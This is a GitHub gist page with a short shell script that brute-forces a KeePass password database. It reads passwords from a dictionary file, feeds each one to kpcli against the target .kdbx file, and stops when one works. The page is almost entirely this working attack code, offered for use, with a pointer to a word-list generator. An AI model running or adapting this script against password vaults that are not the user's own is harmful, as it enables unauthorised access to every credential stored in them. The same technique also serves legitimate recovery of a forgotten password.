Skip to content

Instantly share code, notes, and snippets.

@kiyui
Created March 19, 2017 01:23
Show Gist options
  • Save kiyui/140cfc5e30b3d089f3b5298a209c315b to your computer and use it in GitHub Desktop.
Save kiyui/140cfc5e30b3d089f3b5298a209c315b to your computer and use it in GitHub Desktop.
Brute force a Keepass database file with a dictionary attack
#!/bin/sh
# Usage: ./crack-keepass.sh passwords.kdbx dict.txt
#
# The dictionary file can be generated with:
# https://github.com/TimurKiyivinski/permutatify
while read i
do
echo "Using password: \"$i\""
echo "$i" | kpcli --kdb=$1 && exit 0
done < $2
@kiyui
Copy link
Author

kiyui commented Mar 19, 2017

Requires kpcli

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment